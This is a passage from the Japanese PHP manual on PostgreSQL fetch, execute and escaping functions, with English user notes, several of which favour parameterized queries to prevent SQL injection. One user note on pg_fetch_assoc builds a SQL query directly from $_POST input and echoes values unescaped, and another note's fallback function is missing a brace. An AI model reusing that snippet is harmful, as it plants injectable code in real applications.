  // テキストデータをエスケープする
  $escaped = pg_escape_string($data);

  // それをデータベースに挿入する
  pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', '{$escaped}')");
?>

参考

  • pg_escape_bytea() - bytea フィールドに挿入するために文字列をエスケープする

User Contributed Notes

efjiolvwejlojfwel at mailinator dot com 14-Dec-2017 01:36
Please, as a service to the Internet, add a note advising developers to use prepared statements and placeholders, and deprecate this function and its friends (but not pg_escape_identifier).
There is no valid reason to mix data and SQL into a single string before sending it to the RDBMS, and thus create the potential for SQL injection vulnerabilities. Hence, there is no need to escape data. Hence, there is no need for this function. It's confusing to offer developers functionality that they don't need and shouldn't use.
arunintellirise at gmail dot com 10-Oct-2017 06:30
PostgreSQL is a powerful and an open source object relational database having more than 15 years of active development and a proven architecture with an emphasis on extensibility and standards compliance. PostgreSQL primary functions are to store data securely and return that data in response to requests from other software applications that has earned it a strong reputation for reliability, data integrity and correctness which runs on all major operating system including Linux, UNIX and Windows. PostgreSQL is a cross platform which is open source and its source code is available free of charge that is not controlled by any corporation or other private entity. PostgreSQL also supports storage of binary large objects including picture, sound or video along with handles workloads ranging from small single machine applications to large internet facing applications with lots of concurrent users-. PostgreSQL is highly scalable in the sheer quantity of data which support international character sets and multibyte character encodings.
if you know more aboutthis note then please visit on our website.
https://www.codesroom.com/blog/postgresql
ringerc at ringerc dot id dot au 25-Feb-2014 07:54
You should prefer to use pg_query_params, i.e. use parameterized queries, rather than using pg_escape_string. Or use the newer PDO interface with its parameterized query support.

If you must substitute values directly, e.g. in DDL commands that don't support execution as parameterized queries, do so with pg_escape_literal:

http://au1.php.net/manual/en/function.pg-escape-literal.php

Identifiers can't be used as query parameters. Always use pg_escape_identifier for these if they're substituted dynamically:

http://au1.php.net/manual/en/function.pg-escape-identifier.php

You should not need to change text encodings when using this function. Make sure your connection's client_encoding is set to the text encoding used by PHP, and the PostgreSQL client driver will take care of text encodings for you. No explicit utf-8 conversions should be necessary with a correctly set  client_encoding.
strata_ranger at hotmail dot com 07-Aug-2011 08:20
This may seem obvious, but remember that pg_escape_string escapes values for use as string literals in an SQL query -- if you need to escape arbitrary strings for use as SQL identifiers (column names, etc.), there doesn't seem to be a PHP function for that so you'll have to do that escaping yourself.  (PostgreSQL has an in-database function, quote_ident(), that does this.)

This can be an issue if your database contains mixed-case (or otherwise unusual) column names and you have a class interface managing your database/query interactions (for connecting to different types of databases).  If you don't double-quote your column names then postgreSQL will match them case-insensitively, but will label the results in all-lowercase (which differs from MySQL).

For example:

<?php
// Plain column identifier
$res = pg_query("Select columnName from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Doesn't work (throws E_NOTICE)
var_dump($row['columnname']); // Works

// Escaped column identifier
$res = pg_query("Select \"columnName\" from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Works
var_dump($row['columnname']); // Doesn't
?>
ppp 30-Jun-2011 12:55
pg_escape_string() won't cast array arguments to the "Array" string like php usually does; it returns NULL instead. The following statements all evaluate to true:

<?php
$a = array('foo', 'bar');

"$a" == 'Array';
(string)$a == 'Array';
$a . '' == 'Array';

is_null(pg_escape_string($a));
?>
strata_ranger at hotmail dot com 22-Jul-2010 10:40
Forthose curious, the exact escaping performed on the string may vary slightly depending on your database configuration.

For example, if your database's standard_conforming_strings variable is OFF, backslashes are treated as a special character and pg_escape_string() will ensure they are properly escaped.  If this variable is ON, backslashes will be treated as ordinary characters, and pg_escape_string() will leave them as-is.  In either case, the behavior matches the configuration of the database connection.
Nathan Bruer 08-Feb-2008 01:23
If your database is a UTF-8 database, you will run into problems trying to add some data into your database...

for securty issues and/or compatability you may need to use the: utf_encode() (http://php.net/utf8-encode) function.

for example:
<?php
$my_data = pg_escape_string(utf8_encode($_POST['my_data']));
?>
Gautam Khanna 29-Aug-2007 07:55
Security methods which you use depend on the specific purpose. For those who dont know, take a look at the following built-in PHP functions:

strip_tags()            to remove HTML characters
(also see htmlspecialchars)

escapeshellarg()      to escape shell commands etc
escapeshellcmd()

mysql_real_escape_string()     to escape mySQL commands.

Enjoy!

web dot expert dot panel at gmail dot com
johniskew2 at yahoo dot com 30-May-2006 09:43
For those who escape their single quotes with a backslash (ie \') instead of two single quotes in a row (ie '') there has recently been a SERIOUS sql injection vulnerability that can be employed taking advantage of your chosen escaping method.  More info here: http://www.postgresql.org/docs/techdocs.50
Even after the postgre update, you may still be limited to what you can do with your queries if you still insist on backslash escaping. It's a lesson to always use the PHP functions to do proper escaping instead of adhoc addslashes or magic quotes escaping.
meng 27-May-2006 04:21
Since php 5.1 the new function pg_query_params() was introduced. With this function you can use bind variables and don't have to escape strings. If you can use it, do so. If unsure why, check the changelog for Postgres 8.0.8.
otix 24-Apr-2006 03:43
Creating a double-tick is just fine. It works the same as the backslash-tick syntax. From the PostgreSQL docs:

The fact that string constants are bound by single quotes presents an obvious semantic problem, however, in that if the sequence itself contains a single quote, the literal bounds of the constant are made ambiguous. To escape (make literal) a single quote within the string, you may type two adjacent single quotes. The parser will interpret the two adjacent single quotes within the string constant as a single, literal single quote. PostgreSQL will also allow single quotes to be embedded by using a C-style backslash.


指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ

  • ≪ pg_escape_string
  • pg_fetch_all_columns ≫
  • PHP Manual
  • PostgreSQL 関数
  • 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ

pg_execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_execute — 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ

説明

pg_execute ( resource $connection = ? , string $stmtname , array $params ) : resource|false

指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待ちます。

pg_execute() は pg_query_params() と似ています。しかし、実行するコマンドはクエリを指定することで 決まるのではなく、事前に準備されたステートメントに値を指定する ことによって決まります。この機能のおかげで、繰り返し使用される コマンドに構文解析や実行計画作成が最初の一度だけで済みます。 実行するステートメントは、カレントのセッションで事前に準備しておく 必要があります。pg_execute() は、PostgreSQL 7.4 以降のバージョンの接続にのみ対応しています。それ以前のバージョンでは 失敗します。

パラメータは pg_query_params() と同じですが、 クエリ文字列のかわりにプリペアドステートメントの名前を指定する という点だけが違います。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

stmtname

実行するプリペアドステートメントの名前。"" が指定された場合は 無名ステートメントが実行されます。名前は、事前に pg_prepare()・pg_send_prepare() あるいは PREPARE SQL コマンドで準備されたものである 必要があります。

params

プリペアドステートメント中の $1、$2 などのプレースホルダを 置き換えるパラメータの配列。配列の要素数はプレースホルダの 数と一致する必要があります。

警告

この関数をコールする際に、要素の内容は文字列に変換されます。

返り値

成功した場合にクエリ結果リソース、失敗した場合に false を返します。

例

例1 pg_execute() の使用法

<?php
// "mary"という名前のデータベースに接続
$dbconn = pg_connect("dbname=mary");

// 実行するクエリを準備
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// プリペアドクエリの実行。文字列 "Joe's Widgets" のエスケープ処理は
// 一切必要ないことに注意
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// 同じプリペアドクエリを違うパラメータで実行
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

参考

  • pg_prepare() - 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その完了を待つ
  • pg_send_prepare() - 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待たない
  • pg_query_params() - SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ

User Contributed Notes

nmmm at nmmm dot nu 05-May-2006 12:11
I am not 100% sure in this, but pg_exec() could return 0 as Connection ID.

because of that i change some of my code like this:

$dbres = pg_exec($SQL);

if ($dbres === false){
        echo "DB is down";
        exit;
}else{
        //do something
}


指定したカラムの全ての行を配列として取得する

  • ≪ pg_execute
  • pg_fetch_all ≫
  • PHP Manual
  • PostgreSQL 関数
  • 指定したカラムの全ての行を配列として取得する

pg_fetch_all_columns

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_fetch_all_columns — 指定したカラムの全ての行を配列として取得する

説明

pg_fetch_all_columns ( resource $result , int $column = 0 ) : array

pg_fetch_all_columns() は、結果リソースの 指定したカラムについて全ての行（レコード）を含む配列を返します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

column

結果リソースから取得するカラムの番号。0 から始まります。 指定しない場合のデフォルトは最初のカラムです。

返り値

結果カラムの全ての値を配列で返します。

column が結果のカラム数より大きい場合や その他のエラーが発生した場合に false を返します。

例

例1 pg_fetch_all_columns() の例

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

// 全ての著者名を配列で得る
$arr = pg_fetch_all_columns($result, 1);

var_dump($arr);

?>

参考

  • pg_fetch_all() - 取得されたすべての行を配列として取得する

User Contributed Notes

spambin at ya dot ru 21-Nov-2013 11:48
pg_fetch_all_columns() returns array (empty array) even if the result set in empty (while pg_fetch_all() returns FALSE when the result set is empty)

<?
$result = pg_query("
    SELECT 'something'
    WHERE 1 = 2
");
var_dump( pg_fetch_all($result) ); // boolean false
var_dump( pg_fetch_all_columns($result) ); // array(0){}
?>
strata_ranger at hotmail dot com 04-Apr-2009 06:43
Unfortunate that pg_fetch_all_columns() doesn't support fetching a column by its name -- if you want to do that, you'll need to use pg_field_num() as an intermediary:

For example:

<?php

if ($foo)
  $cols = "email_address";

else
  $cols = "last_name, middle_init";

$result = pg_query("Select first_name, $info, birthday from users_table");

// Problem -- does column #2 refer to the 'birthday' or 'middle_init' field?
$array = pg_fetch_all_columns($result, 2);

// Won't work, must use a column number instead of its name
$array = pg_fetch_all_columns($result, 'birthday');

// Works
$array = pg_fetch_all_columns($result, pg_field_num($result, 'birthday'));

?>
massiv at nerdshack dot com 22-Oct-2008 05:56
php 4 equivalent:

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Get an array of all author names
$arr = array();
while ($line = pg_fetch_array($result)) {
  array_push($arr, $line['name']);
}

var_dump($arr);

?>


取得されたすべての行を配列として取得する

  • ≪ pg_fetch_all_columns
  • pg_fetch_array ≫
  • PHP Manual
  • PostgreSQL 関数
  • 取得されたすべての行を配列として取得する

pg_fetch_all

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_fetch_all — 取得されたすべての行を配列として取得する

説明

pg_fetch_all ( resource $result , int $result_type = PGSQL_ASSOC ) : array

pg_fetch_all()は、結果リソースのすべての行 （レコード）を保持する配列を返します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

返り値

結果のすべての行を含む配列を返します。それぞれの行は、フィールド名を 添字とするフィールド値の配列です。

結果の行数が 0 だった場合、あるいはその他のエラーが発生した場合に false を返します。

例

例1 PostgreSQL fetch all

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occurred.\n";
    exit;
}

$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
    echo "An error occurred.\n";
    exit;
}

$arr = pg_fetch_all($result);

print_r($arr);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [id] => 1
            [name] => Fred
        )

    [1] => Array
        (
            [id] => 2
            [name] => Bob
        )

)

変更履歴

バージョン | 説明
7.1.0 | result_type パラメータが追加されました。

参考

  • pg_fetch_row() - 数値添字の配列として行を得る
  • pg_fetch_array() - 行を配列として取得する
  • pg_fetch_object() - 行をオブジェクトとして得る
  • pg_fetch_result() - 結果リソースから値を返す

User Contributed Notes

ilhan at ilhan dot name 02-Aug-2016 08:25
PG functions retrieve data as strings. If you want automatic casting you need to use PDO.
humbertoibanez at gmail dot com 26-Oct-2015 03:35
If you configure in your pg_hba.conf file a connection by the md5 method and you didn't setup a password for that user, you must define a password by the "alter role" PostgreSQL command:

alter role user_name encrypted password 'user_password';

Also, if you is connecting by type TCP/IP (host) and your IP address is another than (localhost), as example (127.0.1.1) you must uncomment the following line at postgresql.conf file, adding your IP address:

listen_addresses = 'localhost,127.0.1.1'

After save the new configuration, you must restart your PostgreSQL service.
strata_ranger at hotmail dot com 11-Jun-2009 08:00
Be aware that pg_fetch_all() is subject to the same limitations as pg_fetch_assoc(), in that if your query returns multiple columns with the same name (or alias) then only the rightmost one will be returned in the associative array, other ones will not.

A simple example:
<?php
$res = pg_query(
"SELECT a.*, b.* -- Fetch all columns from both tables
FROM table1 AS a

LEFT OUTER JOIN table2 as b
USING (column)"
);

$rows = pg_fetch_all($res);
?>

In this example, since we're selecting columns via *, if any columns from table2 share the same names as those in table1, they will be the ones returned despite that table2 (as the optional side of an outer join) may return NULL values.

This is not a bug, just a limitation of associative arrays in general, and is easy enough to avoid by structuring your queries carefully and using column aliases to avoid confusion.
prefer_not_to at say dot com 02-Jun-2009 10:09
For those wondering, this function returns a two-dimentional array, the first dimension being a 0-based indexed array, the second dimension an associative.  So you might access the first authors surname using $authors[0]["surname"].

Certainly this is the case in PHP 5.2.9, I can't vouch for other versions though.
viniciusweb at gmail dot com 20-Mar-2005 06:20
This function returns NULL if the parameter is false.
09-Jun-2003 05:36
Also for those who are trying to move off oracle, pg_fetch_all returns an array with rows and columns inverted in the sense of ocifetchall. You would need to transpose this result array before your code takes the first index a column name and the second index a row index.
php dot net at mechintosh dot com 16-May-2003 11:42
For versions of PHP that don't yet support the new names or newer functions I wrote a couple functions like this one

if (! function_exists("pg_fetch_all")) {
  function pg_fetch_all($res, $kind="assoc") {
    $i = 0; // this is needed for the row integer in the looped pg_fetch_array
    if ($kind == "assoc") {
      while ($row = pg_fetch_array($res, $i, PGSQL_ASSOC)) {
        $array_out[] = $row;
        $i++;
    }else{
      while ($row = pg_fetch_array($res)) {
        $array_out[] = $row;
      }
    }
    return $array_out;
  }
}
tasmanian at devil dot com 27-Mar-2003 10:42
It seems like pg_fetch_all() only works on version 4.3.x. I tried it with 4.2.2 and it does not recognize the function, so I assume it won't work on 4 => 4.2.x.
jcomeau at whatisthewww dot com 19-Feb-2003 12:02
pg_fetch_all, despite the app note, accepts only one argument, the resultset. It does exactly what is expected, returning a two-dimensional array of the resultset. I suspect the app note given was just copied from pg_fetch_array, which is what you want to use for a single row.


行を配列として取得する

  • ≪ pg_fetch_all
  • pg_fetch_assoc ≫
  • PHP Manual
  • PostgreSQL 関数
  • 行を配列として取得する

pg_fetch_array

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_array — 行を配列として取得する

説明

pg_fetch_array ( resource $result , int $row = ? , int $result_type = PGSQL_BOTH ) : array

pg_fetch_array() は、取得した行（レコード）を 配列で返します。

pg_fetch_array() は拡張版の pg_fetch_row() です。結果配列のフィールド番号に 対応する要素にデータを格納し、それに加えてフィールド名をキーとした 連想配列にも格納します。デフォルトで、両方ともが有効になっています。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

pg_fetch_array() は、 pg_fetch_row() に比べてきわめて遅いというわけでは 「ありません」。そして、きわめて簡単に使用できます。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

row

取得する行番号。最初の行は 0 です。省略したり null を指定したりした場合は、 次の行を取得します。

result_type

result_type は、返り値の形式を制御する オプションのパラメータです。result_type は定数であり、次の値のどれかとすることが可能です。 PGSQL_ASSOC、PGSQL_NUM および PGSQL_BOTH。 PGSQL_NUM を使用すると、pg_fetch_array() は数値添字の配列を返します。また、PGSQL_ASSOC を使用すると連想配列形式で返します。PGSQL_BOTH がデフォルト設定で、これは数値添字の配列と連想配列の両方を返します。

返り値

0 から始まる数値添字の配列か連想配列（フィールド名をキーとする）、 あるいはその両方を返します。配列の各要素の値は文字列です。 データベースの NULL 値は、null として返します。

row が結果の行数より大きい場合や、行が存在しない場合、 そしてそれ以外のエラーが発生した場合は false を返します。 SELECT 以外のクエリから結果を取得しようとした場合も、false を返します。

例

例1 pg_fetch_array() の例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

$arr = pg_fetch_array($result, 0, PGSQL_NUM);
echo $arr[0] . " <- Row 1 Author\n";
echo $arr[1] . " <- Row 1 E-mail\n";

// row パラメータはオプションです。result_type を指定
// したい場合は NULL を渡しておきます。pg_fetch_array を続けてコール
// すると、次の行を取得します。
$arr = pg_fetch_array($result, NULL, PGSQL_ASSOC);
echo $arr["author"] . " <- Row 2 Author\n";
echo $arr["email"] . " <- Row 2 E-mail\n";

$arr = pg_fetch_array($result);
echo $arr["author"] . " <- Row 3 Author\n";
echo $arr[1] . " <- Row 3 E-mail\n";

?>

参考

  • pg_fetch_row() - 数値添字の配列として行を得る
  • pg_fetch_object() - 行をオブジェクトとして得る
  • pg_fetch_result() - 結果リソースから値を返す

User Contributed Notes

strata_ranger at hotmail dot com 23-Aug-2009 01:53
Note that when using PGSQL_BOTH, numerically and associatively indexed fields are separate variables and treated as such:

<?php
$res = pg_query("Select 'foo' as bar");

$data = pg_fetch_array($res, 0, PGSQL_BOTH);

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "foo"
//   ["bar"] => string(3) "foo"
// }

// This won't affect $data['bar']
$data[0] = 'bar';

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "bar"
//   ["bar"] => string(3) "foo"
// }
?>

If you want to have reference binding between your numeric and associative indexes, you'll have to establish that yourself:

<?php

$result = pg_query("Select 'foo' as bar");

$data = pg_fetch_row($result);

// Establish references between column name/number
$from = $data;
foreach($from as $cx => $value)
{
    $key = pg_field_name($result, $cx);
    if (is_string($key)) $data[$key] =& $data[$cx];
}

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "foo"
//   ["bar"] => &string(3) "foo"
// }
// Note the reference binding between $data[0] and $data['bar']

$data[0] = 'baz';

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "baz"
//   ["bar"] => &string(3) "baz"
// }

?>
anonymous 13-May-2005 02:21
Hopefully most people realize this on their own, but the examples below where people tried to get creative with getting numerical or associative (not both) keys in the result are rather pointless. See the pg_fetch_assoc() and pg_fetch_row() for the built in functions that do this automatically. It's generally a better idea to use one of these other functions unless you *need* to access fields by both collumn name *and* index.
Dave O 22-Feb-2005 09:52
I found this out through help from the mailing lists.  If you need to reset the internal counter, use the pg_result_seek, similar to:

pg_result_seek($result, 0)

...plagiarized from the comment on the function's doc page.
devnull 02-Feb-2005 01:59
In response to eth0's comment below about SELECT'ing from two tables where the tables have columns with the same names, you can get around this problem like this:

"SELECT table1.foo AS foo1, table2.foo AS foo2 FROM table1, table2"

In the associative array returned, the keys will be "foo1" and "foo2".
enyo at www.red-link.com 14-Sep-2003 06:55
Just because it is not really clear how to specify the result type, I poste this message.

I wrote a wrapper function which looks like this:

<?php
    function db_fetch_array ($result, $row = NULL, $result_type = PGSQL_ASSOC)
    {
        $return = @pg_fetch_array ($result, $row, $result_type);
        return $return;
    }
?>

I think this way it is quite comfortable to get the arrays you want.
akm at e-nterart dot pl 17-Jun-2003 09:45
(Timesaver) Be aware of the fact that keys in array returned by this function are (well, at least as of 4.2.3) of the same case as SQL column names (e.g. if your column name is ID then key name is also ID, not id or Id), and the keys in associative array are CASE SENSITIVE!!! So don't be surprised if you get unexpected results. Double check SQL column names and the key names.
jesse at sokieserv dot dhs dot org 13-Dec-2001 04:38
As of PHP 4.1.0, you can now use code such as the following to iterate through a result set:

$conn = pg_connect("host=localhost dbname=whatever");
$result = pg_exec($conn, "select * from table");
while ($row = pg_fetch_array($result))
{
     echo "data: ".$row["data"];
}

Can be a nice little time saver, PHP with MySQL has supported this for a while but I'm glad to see it extended to PostgreSQL...
eth0 at fins 28-Sep-2001 11:15
Please remember that if you have for example a table Customers with "cust_ID", "name" and "address" and another table Users with "u_ID","name" and "other" and then you SELECT WHERE cust_ID=u_ID then you'll get in the result array ONLY ONE "name" field, precisely the last one resulted from the select!!!
elliot at nospam dot rightnowtech dot com 22-Jul-2001 09:50
Just remember when you 'or die' to close your table(s) or you may get a confused look from non-internet explorer users.
mkb at ele dot uri dot edu 27-Mar-2001 04:52
The column names if you use PGSQL_ASSOC or PGSQL_BOTH are always in lowercase, no matter what the name is in the database or in the query.
gherson at snet dot net 06-Mar-2001 10:30
In addition to returning "false if there are no more rows", pg_fetch_array will also trigger an E_WARNING.  You can temporarily turn that error reporting level off and suck out all your data like so:

<?php
$errRptLvl = error_reporting();
error_reporting($errRptLvl & ~(E_WARNING));

list($i,$j)=array(0,0);
while ($selection[$i++] = $this->fetchArray($j++)); // (fetchArray is a pg_fetch_array wrapper.)
error_reporting($errRptLvl); // Restore error reporting level.
unset($selection[$i-1]); // Delete the last, empty row.
return $selection;
?>
gherson at snet dot net 02-Jan-2001 09:14
PGSQL_BOTH is the default, meaning your array size will be doubled.
If you specify this field (result type), include no quotes around it or you won't get any data, not even an error.
Here's my wrapper function:
function SQL_fetch_array($result_ndx, $row, $result_type=PGSQL_ASSOC) {
   return pg_fetch_array($result_ndx, $row, $result_type);


行を連想配列として取得する

  • ≪ pg_fetch_array
  • pg_fetch_object ≫
  • PHP Manual
  • PostgreSQL 関数
  • 行を連想配列として取得する

pg_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_fetch_assoc — 行を連想配列として取得する

説明

pg_fetch_assoc ( resource $result , int $row = ? ) : array

pg_fetch_assoc() は、取得した行（レコード）を 保持する連想配列を返します。

pg_fetch_assoc() は、オプションの第 3 パラメータに PGSQL_ASSOC を指定して pg_fetch_array() をコールするのと同じです。連想配列のみを返します。もし数値添字の配列が 必要な場合は pg_fetch_row() を使用してください。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

pg_fetch_assoc() は、 pg_fetch_row() に比べてきわめて遅いというわけでは 「ありません」。そして、きわめて簡単に使用できます。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

row

取得する行番号。最初の行は 0 です。省略したり null を指定したりした場合は、 次の行を取得します。

返り値

連想配列（フィールド名をキーとする）を返します。 配列の各要素の値は文字列です。 データベースの NULL 値は、null として返します。

row が結果の行数より大きい場合、行が存在しない場合、 そしてそれ以外のエラーが発生した場合は false を返します。

例

例1 pg_fetch_assoc() の例

<?php
$conn = pg_connect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT id, author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

while ($row = pg_fetch_assoc($result)) {
  echo $row['id'];
  echo $row['author'];
  echo $row['email'];
}
?>

参考

  • pg_fetch_row() - 数値添字の配列として行を得る
  • pg_fetch_array() - 行を配列として取得する
  • pg_fetch_object() - 行をオブジェクトとして得る
  • pg_fetch_result() - 結果リソースから値を返す

User Contributed Notes

artem.eroshin gmail com 17-Feb-2020 04:17
Converts 't' and 'f' to PHP Boolean

$result = pg_query($_db, $sql);

while ( $row = pg_fetch_assoc( $result ) )
{
    fixBooleans($result, $row);

    //some other code
}

function fixBooleans($result, &$row)
{

    for ($fld_i = 0; $fld_i < pg_num_fields($result); $fld_i++)
    {
        $fld_name = pg_field_name($result, $fld_i);

        if( pg_field_type($result, $fld_i) == 'bool' )
        {
            if( $row[ $fld_name ] == 't' )
            {
                $row[ $fld_name ] = true;
            }
            elseif($row[ $fld_name ] == 'f')
            {
                $row[ $fld_name ] = false;
            }
        }
    }

}
huntfalow at yahoo dot com 23-Apr-2015 08:46
<html>
<head>
<script>
function waarde(){
    var text = document.getElementById("optVakken").value;
    document.getElementById("txthidden").value = text;
    document.forms["hiddenform"].submit();
}
</script>
<?php
// keuzemenu met alle leerkrachten
function leerkrachten($aName){
    include("includes/connect.php");

}
// keuzemenu met alle vakken
function vakken($aID){
    include("includes/connect.php");
    $SelectVakkenQuery = "SELECT * FROM vakken";
    $SelectVakkenResult = $mysqli->query($SelectVakkenQuery);
    $Choice = "<select id='$aID' onchange=waarde()><option>Kies een vak</option>";

        while($rij2 = $SelectVakkenResult->fetch_assoc()){
        $VakID = $rij2['vakid'];
        $Vaknaam = $rij2['voluit'];
        $Choice .= "<option value='$VakID'>$Vaknaam</option>";
    }
    $Choice .= "</select>";
    return $Choice;
}
?>
<title>Remedieringsoefening</title>
</head>
<body>
<?php
include("includes/connect.php");
// aanmaken van keuzemenus

// eerste keuzemenu
echo vakken("optVakken")."<br><br>";

// tweede keuzemenu
if(!isset($_POST['txthidden'])){
$SelectLeerkrachtenQuery = "SELECT * FROM leerkrachten";
$SelectLeerkrachtResult = $mysqli->query($SelectLeerkrachtenQuery);

$Choice = "<select>";
while($rij=$SelectLeerkrachtResult->fetch_assoc()){
    $Voornaam = $rij['voornaam'];
    $Naam = $rij['naam'];
    $LKID = $rij['leerkrachtid'];
    $Volledig = $Voornaam . " " . $Naam;
    $Choice .= "<option value='$LKID'>$Volledig</option>";
}
$Choice .= "</select><br><br>";
echo $Choice;
}else{
    $vakid = $_POST['txthidden'];
    $SelectLeerkrachtenQuery = "SELECT * FROM leerkrachten JOIN leerkrachtpervak ON leerkrachten.leerkrachtid = leerkrachtpervak.leerkrachtid WHERE vakid = '$vakid'";
    $SelectLeerkrachtResult = $mysqli->query($SelectLeerkrachtenQuery);
    $Choice = "<select>";
    while($row3=$SelectLeerkrachtResult->fetch_assoc()){
        $Voornaam = $row3['voornaam'];
        $Naam = $row3['naam'];
        $Volledig = $Voornaam . " " . $Naam;
        $Choice .= "<option>$Volledig</option>";
    }
    $Choice .= "</select><br><br>";
    echo $Choice;
}
// onzichtbaar textbox voor JS
echo "<form method='post' id='hiddenform'><input type='hidden' name='txthidden' id='txthidden'></form>";
$mysqli->close();
?>
</body>
</html>
slurppp at hotmail dot fr 08-Jun-2012 02:37
Note that all pg_fetch_* function ignoring the original type of the data and always return strings. (for numbers too)
Alexey Loktionov (error at pochta dot ru) 10-Mar-2010 04:54
Here is much powerful pg_parse_array() variant, based on FSM: for any dimension Postgres arrays (its string representation must be well-formed), with quotation rules checks, complexity O(N), where N is a length of string representation of Postgres array:

<?php

define('STATE_BEGIN', 1);
define('STATE_INARRAY',2);
define('STATE_OUTARRAY', 3);
define('STATE_INSLASH', 4);
define('STATE_INQUOTES', 5);

function pg_parse_array($value) {
        $resultArray = $indexArray = array(); $level = $index = 0;
        $ptr = &$resultArray;
        for($i = 0; $i < strlen($value); $i++){
            switch($level){
                case 1:
                    if($index > 0){
                        $ptr = & $ptr[sizeof($ptr)];
                    }
                    $indexArray[++$index] = & $ptr;
                    break;
                case -1:
                    $ptr = & $indexArray[--$index];
                    break;
            }
            $level = processFSM($value{$i}, $ptr);
        }
        return $resultArray;
    }

    function processFSM($chr, &$result){
        static $state = STATE_BEGIN, $index = 0;
        $level = 0;
        switch(true){
            case $chr == '{' && in_array($state, array(STATE_BEGIN,STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_INARRAY;
                $index = 0;
                $level = +1;
                break;
            case $chr == '}' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_OUTARRAY;
                $level = -1;
                break;
            case $chr == '\\' && $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : STATE_INSLASH;
                break;

            case $chr == '"' && !in_array($state, array(STATE_BEGIN,STATE_INSLASH), true):
                $state = $state === STATE_INQUOTES ? STATE_INARRAY : STATE_INQUOTES;
                break;

            case $chr == ',' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $index = sizeof($result);
                break;

            case $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : $state;
                isset($result[$index]) or $result[$index] = '';
                $result[$index] .= $chr;
                break;
        }
        return $level;
    }

?>
Anonymous 16-Jan-2010 03:16
Be aware that if one of your result fields is an array, it will be output as a string using the general format of '{value1,value2, ... }' in accordance with postgres's behavior with SQL arrays.
http://www.postgresql.org/docs/8.4/static/arrays.html#ARRAYS-IO

So, here is a function to convert simple (one-dimensional) SQL arrays to PHP arrays:

<?php
function pg_parse_array($field)
/*
 * Converts a simple SQL array field to its PHP equivalent.  e.g:
 *
 *    {null}              --> Array(null);
 *    {"null"}            --> Array("null");
 *    {foo,bar}           --> Array("foo", "bar");
 *    {"foo,bar"}         --> Array("foo,bar");
 *    {"Hello \"World\""} --> Array('Hello "World"');
 *
 */
{
  // NULL fields are always NULL
  if (!is_string($field)) return $field;

  // Check for curly braces which may indicate an SQL array field
  if ($field[0] != '{' or substr($field, -1) != '}') return $field;
  $field = trim(substr($field, 1, -1));

  $array = Array();

  // Break up the string into the following:
  //  - quoted text that MAY have special chars escaped by a backslash
  //  - unquoted text that may NOT have special chars
  $search = '/(")?+((?(1)(?:\\\\.|[^"])*|[^,]+))(?(1)\\1)/';
  preg_match_all($search, $field, $matches, PREG_SET_ORDER);

  foreach($matches as $value)
  {
    if ($value[1])
    {
      // Quoted element, with backslash used to escape chars
      $array[] = preg_replace('#\\\\(.)#', '$1', $value[2]);
    }
    else
    {
      // Unquoted element
      $value[2] = trim($value[2]);
